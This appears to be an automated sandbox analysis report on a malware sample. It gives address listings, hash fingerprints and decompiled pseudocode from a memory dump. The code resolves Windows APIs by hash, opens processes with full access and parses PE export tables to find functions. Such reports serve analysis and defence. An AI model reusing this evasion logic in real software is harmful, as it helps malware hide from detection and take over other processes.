0x728b9406
0x728b9409
0x728b93bb
0x728b93bf
0x728b93c9
0x728b93d0
0x728b93d2
0x728b93eb
0x728b93ee
0x728b93ee
0x728b93d0
0x728b9411
0x728b9414
0x728b9417
0x728b941b
0x728b941f
0x728b9429
0x728b942d
0x728b9437
0x728b9440
0x728b944d
0x728b9450
0x728b9453
0x728b9453
0x728b945f
0x728b946a
0x728b9470
0x728b9474
0x728b9461
0x728b9461
0x728b9461
0x728b947c
0x728b94a6
0x728b94ac
0x728b94ac
0x728b94b4
0x728b985d
0x728b9863
0x728b9869
0x728b9869
0x00000000
0x728b94ba
0x728b94ba
0x728b94be
0x728b94c1
0x728b94c4
0x728b94c7
0x728b94cb
0x728b94cd
0x728b94d0
0x728b94d3
0x728b94d7
0x728b94dc
0x728b94df
0x728b94e3
0x728b94e8
0x728b94eb
0x728b94ed
0x728b94f0
0x728b94f4
0x728b94f9
0x728b9509
0x728b950f
0x728b950f
0x728b9517
0x728b9519
0x728b9522
0x728b9524
0x728b9527
0x728b9532
0x728b955f
0x728b9534
0x728b954b
0x728b954b
0x728b9567
0x728b956d
0x728b9573
0x728b9573
0x728b9567
0x728b9522
0x728b957a
0x728b95eb
0x728b95f0
0x728b9649
0x728b970b
0x728b9710
0x728b971f
0x728b9725
0x728b9729
0x728b9732
0x728b9739
0x728b9742
0x728b9750
0x728b9753
0x728b973b
0x728b973b
0x728b973b
0x728b9739
0x728b975c
0x728b9789
0x728b979c
0x728b97a4
0x728b978b
0x728b978d
0x728b9795
0x728b9795
0x728b975e
0x728b9763
0x728b9782
0x728b9765
0x728b976a
0x728b977b
0x728b976c
0x728b976c
0x728b976c
0x728b976a
0x728b9763
0x728b97ac
0x728b97bb
0x728b97c8
0x728b97d1
0x728b97d5
0x728b97d9
0x728b97dc
0x728b97df
0x728b97e2
0x728b97e5
0x728b97e8
0x728b97ee
0x728b97f2
0x728b97f8
0x728b97f8
0x728b97ee
0x728b97fe
0x728b983b
0x728b983f
0x728b9846
0x728b984c
0x728b9800
0x728b9803
0x728b9823
0x728b9827
0x728b982e
0x728b9835
0x728b9805
0x728b9808
0x728b980a
0x728b980e
0x728b9818
0x728b981e
0x728b981e
0x728b9808
0x728b9803
0x728b9853
0x728b9853
0x728b986c
0x728b986c
0x728b9872
0x728b9877
0x728b98d1
0x728b98d6
0x728b9915
0x728b991a
0x728b991c
0x728b9920
0x728b9923
0x728b9926
0x728b9928
0x728b9929
0x728b9929
0x728b992e
0x728b994c
0x728b994e
0x728b9952
0x728b9958
0x728b995b
0x728b995d
0x728b995e
0x728b995e
0x00000000
0x728b9930
0x728b9930
0x728b9930
0x728b9934
0x728b993a
0x728b993d
0x728b993f
0x728b9942
0x728b9961
0x728b9961
0x728b9968
0x728b9982
0x728b996a
0x728b996a
0x728b9976
0x728b9977
0x728b997a
0x728b997a
0x728b9990
0x728b9990
0x728b992e
0x728b98db
0x728b98e9
0x728b9901
0x728b9905
0x728b9908
0x728b990e
0x728b9912
0x728b9912
0x00000000
0x728b9912
0x728b98eb
0x728b98ef
0x728b98f5
0x728b98f5
0x728b98fb
0x00000000
0x728b98fb
0x728b98dd
0x728b98e1
0x00000000
0x728b98e1
0x728b987b
0x728b98a7
0x728b98bf
0x728b98c3
0x728b98c6
0x728b98c9
0x728b98cb
0x728b98ce
0x728b98a9
0x728b98a9
0x728b98ad
0x728b98b0
0x728b98b3
0x728b98b6
0x728b98b9
0x728b98b9
0x00000000
0x728b98a7
0x728b9881
0x00000000
0x00000000
0x728b9887
0x728b988b
0x728b9891
0x728b9894
0x728b9897
0x728b989a
0x00000000
0x728b989a
0x728b9712
0x728b9716
0x728b971c
0x00000000
0x728b971c
0x728b9654
0x728b9666
0x728b966b
0x728b96d6
0x00000000
0x00000000
0x728b96dd
0x728b9703
0x728b9707
0x00000000
0x00000000
0x728b96e6
0x728b96eb
0x728b96ff
0x00000000
0x00000000
0x00000000
0x728b9701
0x728b96f2
0x00000000
0x00000000
0x728b96f7
0x00000000
0x00000000
0x728b96f9
0x00000000
0x728b96dd
0x728b966d
0x728b9677
0x728b9688
0x728b968b
0x728b968e
0x728b9694
0x00000000
0x00000000
0x00000000
0x00000000
0x728b969a
0x728b969a
0x728b969a
0x728b96a1
0x00000000
0x00000000
0x728b96a3
0x728b96a6
0x728b96ac
0x00000000
0x00000000
0x00000000
0x728b96ae
0x728b96b0
0x728b96b9
0x00000000
0x00000000
0x728b96cd
0x00000000
0x00000000
0x00000000
0x728b96cf
0x728b965b
0x00000000
0x00000000
0x00000000
0x728b9661
0x728b95f5
0x728b9624
0x728b9625
0x728b962e
0x00000000
0x728b963f
0x00000000
0x728b963f
0x728b95fc
0x728b95ff
0x728b9612
0x728b9613
0x728b9617
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x728b95ff
0x728b95f5
0x728b9581
0x728b95de
0x728b95e2
0x728b95e8
0x00000000
0x728b95e8
0x728b9583
0x728b9587
0x728b9594
0x728b9598
0x728b95ae
0x728b95b6
0x728b959a
0x728b959c
0x728b95a6
0x728b95a6
0x728b95bc
0x728b95c5
0x728b95dc
0x00000000
0x00000000
0x00000000
0x728b95dc
0x728b95c7
0x728b95c7
0x00000000
0x728b95bc

Strings

, xrefs: 728B9947

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction ID: 51cc212c3ab4598b7bfccb550bb0aadc98cec7229ff529ff0893d4b1e31e7328
Opcode Fuzzy Hash: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction Fuzzy Hash: A522C1384083998BD715CF19C49236ABBF2FF85304F14886DE9DA4B395D33A9A45CF92

Uniqueness

Uniqueness Score: -1.00%

Function 728A84E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E728A84E4(signed int __ecx, intOrPtr __edx) {
				void* __esi;
				void* __ebp;
				signed int* _t173;
				signed int _t178;
				void* _t180;
				void* _t181;
				intOrPtr* _t188;
				signed int _t202;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t217;
				signed int _t218;
				void* _t219;
				void* _t220;
				void* _t237;
				void* _t238;
				signed int* _t246;
				void* _t247;
				signed int* _t258;
				intOrPtr* _t269;
				signed int* _t277;
				intOrPtr* _t279;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int _t296;
				void* _t299;
				signed int* _t308;
				intOrPtr* _t310;
				signed int _t316;
				intOrPtr _t318;
				signed int* _t324;
				signed int _t325;
				signed int _t326;
				void* _t345;
				void* _t416;
				signed int _t417;
				signed int _t424;
				signed int _t432;
				intOrPtr* _t433;
				intOrPtr* _t434;
				signed int _t437;
				signed int _t441;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				void* _t451;
				signed int _t452;
				void* _t453;
				signed int _t454;
				void* _t457;
				intOrPtr* _t458;

				_push(_t435);
				_t458 = _t457 - 0xa4;
				 *_t458 = __ecx + 0x1c;
				 *((intOrPtr*)(_t458 + 0x68)) = __edx;
				 *(_t458 + 4) = __ecx;
				 *(_t458 + 0x84) = 0;
				 *((intOrPtr*)(_t458 + 0x78)) = __ecx + 4;
				while(1) {
					_t415 =  *(_t458 + 0x6c);
					E728AB714(_t458 + 0x24,  *(_t458 + 0x6c), 0x7fffffff);
					if(E728AF56C(_t458 + 0x24) == 0) {
						goto L3;
					} else {
						 *( *(_t458 + 4) + 0x2c) = 0;
						E728AF6F0(_t458 + 0x24);
					}
					L60:
					_t318 = 0xffffffffffffffff;
					L62:
					if(_t318 != 0) {
						L65:
						return _t318;
					} else {
						if( *(_t458 + 0x84) != 0x20) {
							E728B218C(0x5dc, _t415, _t435);
							 *(_t458 + 0x84) =  *(_t458 + 0x84) + 1;
							continue;
						} else {
							_t318 = 0xffffffffffffffff;
							goto L65;
						}
					}
					L71:
					L3:
					__eflags =  *( *(_t458 + 4));
					if( *( *(_t458 + 4)) > 0) {
						_t326 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x64) = _t326 * 4;
							_t434 = E728AF558( *(_t458 + 0x7c), _t326 * 4);
							_t435 =  *(_t458 + 0x20);
							__eflags = _t435;
							if(_t435 <= 0) {
								L11:
								_t435 =  *(_t458 + 4) + 4;
								_t283 = E728AF568( *(_t458 + 4) + 4);
								__eflags = _t283 -  *(_t458 + 0x64);
								if(_t283 >  *(_t458 + 0x64)) {
									_t451 = 4 + _t326 * 4;
									_t299 = E728AF568(_t435);
									__eflags = _t299 - _t451;
									if(_t299 > _t451) {
										 *((intOrPtr*)(_t458 + 0x9c)) = E728AF558(_t435,  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0x98)) = E728AF558(_t435, _t451);
										E728B382C( *((intOrPtr*)(_t458 + 0xa4)),  *((intOrPtr*)(_t458 + 0x9c)), E728AF568(_t435) - _t451);
										_t458 = _t458 + 0xc;
									}
									E728AF8C4(_t435, E728AF568(_t435) + 0xfffffffc);
									_t308 =  *(_t458 + 4);
									 *_t308 =  *_t308 - 1;
									__eflags =  *_t308;
								}
								_t450 = E728B2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t450;
								if(_t450 != 0) {
									 *_t450( *(E728AF558( *(_t458 + 4),  *(_t458 + 0x64))));
								}
								_t285 = E728AF568( *_t458);
								__eflags = _t285 -  *(_t458 + 0x64);
								if(_t285 >  *(_t458 + 0x64)) {
									_t453 = 4 + _t326 * 4;
									_t287 = E728AF568( *_t458);
									__eflags = _t287 - _t453;
									if(_t287 > _t453) {
										_t435 = E728AF558( *(_t458 + 4),  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0xa0)) = E728AF558( *(_t458 + 4), _t453);
										E728B382C(_t288,  *((intOrPtr*)(_t458 + 0xa4)), E728AF568( *_t458) - _t453);
										_t458 = _t458 + 0xc;
									}
									E728AF8C4( *(_t458 + 4), E728AF568( *_t458) + 0xfffffffc);
									_t296 =  *(_t458 + 4);
									_t33 = _t296 + 0x18;
									 *_t33 =  *(_t296 + 0x18) - 1;
									__eflags =  *_t33;
								}
								_t326 = _t326 - 1;
								__eflags = _t326;
							} else {
								_t452 = 0;
								__eflags = 0;
								while(1) {
									_t310 = E728AF558(_t458 + 0x28, _t452 * 4);
									__eflags =  *_t310 -  *_t434;
									if( *_t310 ==  *_t434) {
										break;
									}
									_t452 = _t452 + 1;
									__eflags = _t452 - _t435;
									if(_t452 < _t435) {
										continue;
									} else {
										goto L11;
									}
									goto L20;
								}
								__eflags = _t452 - 0xffffffff;
								if(_t452 == 0xffffffff) {
									goto L11;
								} else {
								}
							}
							L20:
							_t326 = _t326 + 1;
							__eflags = _t326 -  *( *(_t458 + 4));
						} while (_t326 <  *( *(_t458 + 4)));
					}
					__eflags =  *(_t458 + 0x20);
					if( *(_t458 + 0x20) > 0) {
						_t325 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x7c) = _t325 * 4;
							_t433 = E728AF558(_t458 + 0x28, _t325 * 4);
							_t258 =  *(_t458 + 4);
							_t435 =  *_t258;
							__eflags = _t435;
							if(_t435 <= 0) {
								L29:
								_t445 = E728B2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t445;
								if(_t445 != 0) {
									_t447 =  *_t445(0x1fffff, 0,  *((intOrPtr*)(E728AF558(_t458 + 0x28,  *(_t458 + 0x7c)))));
									__eflags = _t447;
									if(_t447 != 0) {
										E728AF8C4( *(_t458 + 4), E728AF568( *_t458) + 4);
										 *(E728AF558( *(_t458 + 4), E728AF568( *_t458) + 0xfffffffc)) = _t447;
										 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) + 1;
										_t269 = E728AF558(_t458 + 0x28,  *(_t458 + 0x7c));
										 *((intOrPtr*)(_t458 + 0x70)) =  *(_t458 + 4) + 4;
										E728AF8C4( *((intOrPtr*)(_t458 + 0x74)), E728AF568( *(_t458 + 4) + 4) + 4);
										 *((intOrPtr*)(E728AF558( *((intOrPtr*)(_t458 + 0x74)), E728AF568( *((intOrPtr*)(_t458 + 0x70))) + 0xfffffffc))) =  *_t269;
										_t277 =  *(_t458 + 4);
										 *_t277 =  *_t277 + 1;
										__eflags =  *_t277;
									}
								}
							} else {
								_t446 = 0;
								__eflags = 0;
								 *(_t458 + 0x88) =  &(_t258[1]);
								while(1) {
									_t279 = E728AF558( *((intOrPtr*)(_t458 + 0x8c)), _t446 * 4);
									__eflags =  *_t279 -  *_t433;
									if( *_t279 ==  *_t433) {
										break;
									}
									_t446 = _t446 + 1;
									__eflags = _t446 - _t435;
									if(_t446 < _t435) {
										continue;
									} else {
										goto L29;
									}
									goto L32;
								}
								__eflags = _t446 - 0xffffffff;
								if(_t446 == 0xffffffff) {
									goto L29;
								} else {
								}
							}
							L32:
							_t325 = _t325 + 1;
							__eflags = _t325 -  *(_t458 + 0x20);
						} while (_t325 <  *(_t458 + 0x20));
					}
					E728AF6F0(_t458 + 0x24);
					_t173 =  *(_t458 + 4);
					__eflags = _t173[0xb];
					if(_t173[0xb] != 0) {
						_t432 =  *_t173;
						__eflags = _t432;
						if(_t432 > 0) {
							_t435 = 0;
							__eflags = 0;
							_t324 =  &(_t173[1]);
							while(1) {
								_t441 = _t435 * 4;
								_t217 = E728AF558(_t324, _t441);
								_t218 =  *(_t458 + 4);
								__eflags =  *_t217 -  *((intOrPtr*)(_t218 + 0x30));
								if( *_t217 ==  *((intOrPtr*)(_t218 + 0x30))) {
									break;
								}
								_t435 = _t435 + 1;
								__eflags = _t435 - _t432;
								if(_t435 < _t432) {
									continue;
								}
								goto L46;
							}
							__eflags = _t435 - 0xffffffff;
							if(_t435 != 0xffffffff) {
								_t219 = E728AF568( *_t458);
								__eflags = _t219 - _t441;
								if(_t219 > _t441) {
									 *((intOrPtr*)(_t458 + 0x74)) = 4 + _t435 * 4;
									_t247 = E728AF568( *_t458);
									__eflags = _t247 -  *((intOrPtr*)(_t458 + 0x74));
									if(_t247 >  *((intOrPtr*)(_t458 + 0x74))) {
										 *((intOrPtr*)(_t458 + 0x90)) = E728AF558( *(_t458 + 4), _t441);
										 *((intOrPtr*)(_t458 + 0x8c)) = E728AF558( *(_t458 + 4),  *((intOrPtr*)(_t458 + 0x74)));
										E728B382C( *((intOrPtr*)(_t458 + 0x98)),  *((intOrPtr*)(_t458 + 0x90)), E728AF568( *_t458) -  *((intOrPtr*)(_t458 + 0x74)));
										_t458 = _t458 + 0xc;
									}
									E728AF8C4( *(_t458 + 4), E728AF568( *_t458) + 0xfffffffc);
									_t424 =  *(_t458 + 4);
									_t75 = _t424 + 0x18;
									 *_t75 =  *(_t424 + 0x18) - 1;
									__eflags =  *_t75;
								}
								_t220 = E728AF568(_t324);
								__eflags = _t220 - _t441;
								if(_t220 > _t441) {
									_t435 = 4 + _t435 * 4;
									_t237 = E728AF568(_t324);
									__eflags = _t237 - _t435;
									if(_t237 > _t435) {
										_t238 = E728AF558(_t324, _t441);
										 *((intOrPtr*)(_t458 + 0x94)) = E728AF558(_t324, _t435);
										E728B382C(_t238,  *((intOrPtr*)(_t458 + 0x98)), E728AF568(_t324) - _t435);
										_t458 = _t458 + 0xc;
									}
									E728AF8C4(_t324, E728AF568(_t324) + 0xfffffffc);
									_t246 =  *(_t458 + 4);
									 *_t246 =  *_t246 - 1;
									__eflags =  *_t246;
								}
								E728AF8C4( *(_t458 + 4), E728AF568( *_t458) + 4);
								 *(E728AF558( *(_t458 + 4), E728AF568( *_t458) + 0xfffffffc)) =  *( *(_t458 + 4) + 0x2c);
								 *((intOrPtr*)( *(_t458 + 4) + 0x18)) =  *((intOrPtr*)( *(_t458 + 4) + 0x18)) + 1;
								E728AF8C4(_t324, E728AF568(_t324) + 4);
								 *((intOrPtr*)(E728AF558(_t324, E728AF568(_t324) + 0xfffffffc))) =  *((intOrPtr*)( *(_t458 + 4) + 0x30));
								 *( *(_t458 + 4)) =  *( *(_t458 + 4)) + 1;
							}
						}
					}
					L46:
					 *((intOrPtr*)(_t458 + 8)) = 0;
					 *((intOrPtr*)(_t458 + 0xc)) = 0;
					E728AF620(_t458 + 0x14, 0);
					 *((intOrPtr*)(_t458 + 0x34)) =  *((intOrPtr*)(_t458 + 0x68));
					 *((intOrPtr*)(_t458 + 0x38)) = 0;
					E728AF620(_t458 + 0x40, 0);
					_t178 =  *(_t458 + 4);
					_t416 = 0x40;
					__eflags =  *((intOrPtr*)(_t178 + 0x18)) - 0x40;
					_t417 =  <  ?  *((void*)(_t178 + 0x18)) : _t416;
					 *(_t458 + 0x80) = _t417;
					__eflags = _t417;
					if(_t417 <= 0) {
						L57:
						_t415 = E728AF558(_t458 + 0x14, 0);
						_t180 = E728B2878( *((intOrPtr*)(_t458 + 0xc)), _t179, 0x3e8);
						_t132 = _t180 - 0x80; // -128
						_t181 = _t132;
						__eflags = _t181 - 0x3f;
						_t316 =  <=  ? _t181 : _t180;
						__eflags = _t316 - 0x102;
						if(_t316 == 0x102) {
							goto L59;
						} else {
							__eflags = _t316 - 0x3f;
							if(_t316 <= 0x3f) {
								__eflags = _t316 << 2;
								 *((intOrPtr*)( *((intOrPtr*)(_t458 + 8)) + 0x2c)) =  *((intOrPtr*)(E728AF558( *(_t458 + 4), _t316 << 2)));
								_t188 = E728AF558( *(_t458 + 0x7c), _t316 << 2);
								_t415 =  *(_t458 + 4);
								 *((intOrPtr*)(_t415 + 0x30)) =  *_t188;
								_t318 =  *((intOrPtr*)(_t415 + 0x2c));
								E728AB680(_t458 + 0x34);
								E728AB680(_t458 + 8);
							} else {
								goto L59;
							}
						}
						goto L62;
					} else {
						_t454 = 0;
						__eflags = 0;
						while(1) {
							E728ACB48(_t458 + 0x4c);
							_t415 = 0;
							_t345 = _t458 + 0x4c;
							 *((char*)(_t345 + 4)) = 0;
							 *((intOrPtr*)(_t345 + 0x20)) = 0;
							__eflags = E728AC33C(_t345);
							if(__eflags != 0) {
								break;
							}
							E728AF8C4(_t458 + 0x14, E728AF568(_t458 + 0x10) + 4);
							 *((intOrPtr*)(E728AF558(_t458 + 0x14, E728AF568(_t458 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t458 + 0x4c));
							 *((intOrPtr*)(_t458 + 0xc)) =  *((intOrPtr*)(_t458 + 0xc)) + 1;
							_t202 = E728B2F8C(0xa5eabdf8, 0xf3119fba);
							__eflags = _t202;
							if(_t202 == 0) {
								_t415 =  *(_t458 + 0x6c);
								__eflags = _t415;
								if(__eflags == 0) {
									break;
								} else {
									__eflags = _t415 - 0xffffffff;
									if(__eflags != 0) {
										E728AF8C4(_t458 + 0x40, E728AF568(_t458 + 0x3c) + 4);
										 *(E728AF558(_t458 + 0x40, E728AF568(_t458 + 0x3c) + 0xfffffffc)) =  *(_t458 + 0x6c);
										 *((intOrPtr*)(_t458 + 0x4c - 0x14)) =  *((intOrPtr*)(_t458 + 0x4c - 0x14)) + 1;
										E728ACDE0(_t458 + 0x4c, __eflags);
										_t454 = _t454 + 1;
										__eflags = _t454 -  *(_t458 + 0x80);
										if(_t454 <  *(_t458 + 0x80)) {
											continue;
										} else {
											_t437 = 0;
											__eflags = 0;
											do {
												_t211 = E728AF558( *(_t458 + 4), _t437 * 4);
												_t212 = E728AF558(_t458 + 0x40, _t437 * 4);
												E728A8C14( *_t211, E728B034C(0xa5eabdf8, 0x4145240a),  *_t212, 0, 0);
												_t437 = _t437 + 1;
												__eflags = _t437 -  *(_t458 + 0x80);
											} while (_t437 <  *(_t458 + 0x80));
											goto L57;
										}
									} else {
										break;
									}
								}
							} else {
								__eflags = 0;
								_push(2);
								_push(0);
								_push(0);
								_push(_t458 + 0x6c);
								_push( *((intOrPtr*)(_t458 + 0x78)));
								_push( *((intOrPtr*)(_t458 + 0x60)));
								_push(0xffffffff);
								asm("int3");
								return _t202;
							}
							goto L71;
						}
						E728ACDE0(_t458 + 0x4c, __eflags);
						L59:
						E728AB680(_t458 + 0x34);
						E728AB680(_t458 + 8);
						goto L60;
					}
					goto L71;
				}
			}

0x728a84e4
0x728a84e8
0x728a84f1
0x728a84f7
0x728a84fb
0x728a84ff
0x728a850a
0x728a850e
0x728a8513
0x728a851b
0x728a852b
0x00000000
0x728a852d
0x728a8535
0x728a853c
0x728a853c
0x728a8a8f
0x728a8a91
0x728a8ad2
0x728a8ad4
0x728a8ae3
0x728a8aef
0x728a8ad6
0x728a8ade
0x728a8af5
0x728a8afa
0x00000000
0x728a8ae0
0x728a8ae2
0x00000000
0x728a8ae2
0x728a8ade
0x00000000
0x728a8546
0x728a854a
0x728a854d
0x728a8553
0x728a8553
0x728a8555
0x728a855c
0x728a856a
0x728a856c
0x728a8570
0x728a8572
0x728a859e
0x728a85a2
0x728a85a7
0x728a85ac
0x728a85b0
0x728a85b4
0x728a85bb
0x728a85c0
0x728a85c2
0x728a8b51
0x728a8b60
0x728a8b7f
0x728a8b84
0x728a8b84
0x728a85d5
0x728a85da
0x728a85de
0x728a85de
0x728a85de
0x728a85ef
0x728a85f1
0x728a85f3
0x728a8604
0x728a8604
0x728a8609
0x728a860e
0x728a8612
0x728a8617
0x728a861e
0x728a8623
0x728a8625
0x728a8b13
0x728a8b1f
0x728a8b39
0x728a8b3e
0x728a8b3e
0x728a863b
0x728a8640
0x728a8644
0x728a8644
0x728a8644
0x728a8644
0x728a8647
0x728a8647
0x728a8574
0x728a8576
0x728a8576
0x728a8578
0x728a8584
0x728a858b
0x728a858d
0x00000000
0x00000000
0x728a8599
0x728a859a
0x728a859c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x728a859c
0x728a858f
0x728a8592
0x00000000
0x00000000
0x728a8594
0x728a8592
0x728a8648
0x728a864c
0x728a864d
0x728a864d
0x728a8555
0x728a8655
0x728a865a
0x728a8660
0x728a8660
0x728a8662
0x728a8669
0x728a8677
0x728a8679
0x728a867d
0x728a867f
0x728a8681
0x728a86bc
0x728a86cb
0x728a86cd
0x728a86cf
0x728a86ed
0x728a86ef
0x728a86f1
0x728a8703
0x728a8721
0x728a872a
0x728a872d
0x728a873b
0x728a874c
0x728a876a
0x728a876c
0x728a8770
0x728a8770
0x728a8770
0x728a86f1
0x728a8683
0x728a8687
0x728a8687
0x728a868c
0x728a8693
0x728a86a2
0x728a86a9
0x728a86ab
0x00000000
0x00000000
0x728a86b7
0x728a86b8
0x728a86ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x728a86ba
0x728a86ad
0x728a86b0
0x00000000
0x00000000
0x728a86b2
0x728a86b0
0x728a8772
0x728a8772
0x728a8773
0x728a8773
0x728a8662
0x728a8781
0x728a8786
0x728a878a
0x728a878e
0x728a8794
0x728a8796
0x728a8798
0x728a87a2
0x728a87a2
0x728a87a4
0x728a87a7
0x728a87a9
0x728a87b1
0x728a87b8
0x728a87bc
0x728a87bf
0x00000000
0x00000000
0x728a88bb
0x728a88bc
0x728a88be
0x00000000
0x00000000
0x00000000
0x728a88be
0x728a87c5
0x728a87c8
0x728a87d1
0x728a87d6
0x728a87d8
0x728a87e4
0x728a87e8
0x728a87ed
0x728a87f1
0x728a8bce
0x728a8be2
0x728a8c04
0x728a8c09
0x728a8c09
0x728a8807
0x728a880c
0x728a8810
0x728a8810
0x728a8810
0x728a8810
0x728a8815
0x728a881a
0x728a881c
0x728a8820
0x728a8827
0x728a882c
0x728a882e
0x728a8b8f
0x728a8b9e
0x728a8bb7
0x728a8bbc
0x728a8bbc
0x728a8841
0x728a8846
0x728a884a
0x728a884a
0x728a884a
0x728a885c
0x728a887d
0x728a8885
0x728a8893
0x728a88b1
0x728a88b7
0x728a88b7
0x728a87c8
0x728a8798
0x728a88c4
0x728a88c6
0x728a88ca
0x728a88d3
0x728a88de
0x728a88e2
0x728a88eb
0x728a88f0
0x728a88f6
0x728a88f7
0x728a88fb
0x728a88ff
0x728a8906
0x728a8908
0x728a8a48
0x728a8a59
0x728a8a60
0x728a8a67
0x728a8a67
0x728a8a6a
0x728a8a6d
0x728a8a70
0x728a8a76
0x00000000
0x728a8a78
0x728a8a78
0x728a8a7b
0x728a8a94
0x728a8aac
0x728a8aaf
0x728a8ab4
0x728a8abe
0x728a8ac1
0x728a8ac4
0x728a8acd
0x00000000
0x00000000
0x00000000
0x728a8a7b
0x00000000
0x728a890e
0x728a8910
0x728a8910
0x728a8912
0x728a8916
0x728a891b
0x728a891d
0x728a8921
0x728a8924
0x728a892c
0x728a892e
0x00000000
0x00000000
0x728a8945
0x728a8960
0x728a8962
0x728a8970
0x728a8975
0x728a8977
0x728a8994
0x728a8998
0x728a899a
0x00000000
0x728a899c
0x728a899c
0x728a899f
0x728a89c0
0x728a89df
0x728a89e5
0x728a89e8
0x728a89ed
0x728a89ee
0x728a89f5
0x00000000
0x728a89fb
0x728a89fd
0x728a89fd
0x728a89ff
0x728a8a0b
0x728a8a17
0x728a8a39
0x728a8a3e
0x728a8a3f
0x728a8a3f
0x00000000
0x728a89ff
0x00000000
0x00000000
0x00000000
0x728a899f
0x728a8979
0x728a8979
0x728a897f
0x728a8981
0x728a8982
0x728a8983
0x728a8984
0x728a8988
0x728a898c
0x728a898e
0x728a898f
0x728a898f
0x00000000
0x728a8977
0x728a89a5
0x728a8a7d
0x728a8a81
0x728a8a8a
0x00000000
0x728a8a8a
0x00000000
0x728a8908

Strings

, xrefs: 728A8AD6

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 7789571b791fbddc5c12bb3bfe1020c8ae27195bcf9eda4ceeed74e3e4e8d1e4
Instruction ID: e0168b0d17ed766dad4c351394e62191cee75fa0aae719895193c1898213d64c
Opcode Fuzzy Hash: 7789571b791fbddc5c12bb3bfe1020c8ae27195bcf9eda4ceeed74e3e4e8d1e4
Instruction Fuzzy Hash: 681260792043449FC754DF2CC9A0A5EBBF6AF95700F10892EE5AA972A0DF32DD05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 728B14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E728B14D8(signed char __eax, signed char __edx) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed char _t231;
				signed char _t233;
				signed char _t238;
				intOrPtr _t241;
				void* _t246;
				signed char _t257;
				signed char _t261;
				signed char _t269;
				signed char _t270;
				signed char _t277;
				signed int _t279;
				signed char _t280;
				signed char _t281;
				void* _t289;
				void* _t290;
				signed char _t315;
				void* _t319;
				signed char _t334;
				signed char _t336;
				void* _t341;
				void* _t347;
				intOrPtr _t352;
				signed char _t354;
				signed char _t363;
				void* _t369;
				intOrPtr _t371;
				signed short* _t373;
				void _t375;
				void* _t379;
				signed int _t381;
				void* _t382;
				void** _t383;
				void* _t384;
				char* _t387;
				signed char _t395;
				signed char* _t396;
				intOrPtr _t400;
				signed int _t451;
				intOrPtr* _t455;
				signed char _t456;
				signed int _t462;
				void* _t467;
				signed char _t471;
				signed char _t472;
				signed char* _t477;
				signed char _t487;
				signed int _t490;
				intOrPtr* _t496;
				intOrPtr _t497;
				signed char _t498;
				signed char _t499;
				intOrPtr _t500;
				signed char _t508;
				intOrPtr _t510;
				void* _t513;
				signed char _t519;
				intOrPtr* _t524;
				signed char _t525;
				signed char _t526;
				signed char _t527;
				signed char _t529;
				signed char* _t531;
				signed char _t532;
				void* _t533;
				void* _t534;
				signed char* _t535;

				_t535[0x54] = __edx;
				 *_t535 = __eax;
				_t231 = E728B03A0(__edx, 1);
				if(_t231 != 0) {
					return _t231;
				}
				_t535[0x2c] = _t231;
				if( *0x728bd208 == 0 ||  *0x728bd2e4 != 0) {
					L44:
					if( *_t535 == 0) {
						return 0;
					}
					_t233 =  *_t535;
					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
						L77:
						 *_t535 = 0;
						_t535[0x2c] = 0;
						L78:
						return  *_t535;
					}
					_t535[0x12c] = 0;
					_t535[0x174] = _t535[0x54] ^ 0x212ae3b8;
					do {
						_t467 = 0;
						_t387 =  *_t524 +  *_t535;
						_t238 =  *_t387;
						_t535[0x58] = _t238;
						if(_t238 == 0) {
							L49:
							if(E728B4BE0( &(_t535[0x58]), _t467) == _t535[0x174]) {
								_t535[0x2c] = 0;
